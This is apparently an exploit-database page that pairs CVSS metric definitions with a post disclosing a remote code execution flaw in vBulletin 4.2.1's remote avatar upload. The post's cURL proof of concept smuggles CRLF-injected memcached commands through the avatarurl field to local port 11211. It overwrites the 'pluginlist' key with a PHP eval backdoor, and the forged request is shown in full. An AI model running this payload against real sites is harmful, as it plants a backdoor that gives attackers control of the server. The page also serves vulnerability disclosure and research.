The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
vBulletin 4.2.1 Memcache Remote Code ExecutionNot really a 0day since it's fixed in some versions, but still an exploit that doesn't seem to be "that" public. Please note, I didn't find this.
vBulletin's memcache setting is vulnerable in certain versions(all before 4.2.2) to an RCE. vBulletin seem to have refused to classify it as a vulnerability or post anything about it, or put anything in the announcements on their website. They say "PL2 (4.2.2) should prevent the use of localhost," however that doesn't help people using previous versions(which they appear to support with patches, still.) They also haven't updated previous versions of vBulletin for this bug, despite it being reported that it works on versions prior to 4.2.2.
Of course though, the most important thing is, they haven't announced there even is/was a vulnerability in any version.
Anyways, here it is:
> Remote Upload allows to send arbitrary data to loopback-only services, possibly allowing the execution of arbitrary code Exists in vB4
> The remote upload as implemented by the vB_Upload_* classes and vB_vURL (at least in vB 4.2.x, most probably earlier releases are also affected, and vB 5 might be affected as well) does not restrict the destination ports and hosts for remote uploads. This allows an attacker to abuse the function to as a proxy commit TCP port scans on other hosts. Much worse, it also allows to connect to local loopback-only services or to services only exposed on an internal network.
>
> On a setup running e.g. Memcached in default configuration (bound to localhost:11211, no authentication), the latter can be exploited to execute arbitrary code by forging a request to memcached, updating the `pluginlist` value.
>
> Proof-of-Concept using cURL:
>
> $ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2; bb_password=926944640049f505370a38250f22ae57' --data 'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'
>
>
> This leads to vBulletin opening a connection to the Memcached (localhost:11211) and sending the following data:
>
> HEAD /
> set pluginlist 0 0 96
> a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval'])){eval($_REQUEST['eval']);die();}
> ";}
> quit
> .png HTTP/1.0
> Host: localhost
> User-Agent: vBulletin via PHP
> Connection: close
>
>
> This will cause the Memcached to update the `pluginlist` to contain the malicious code.
>
> Furthermore, the remote upload happily follows all kinds of redirects if provided with an appropriate Location header.
(P.S: Dan, if you're reading this, pls come back <3)
--
-- Joshua Rogers
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum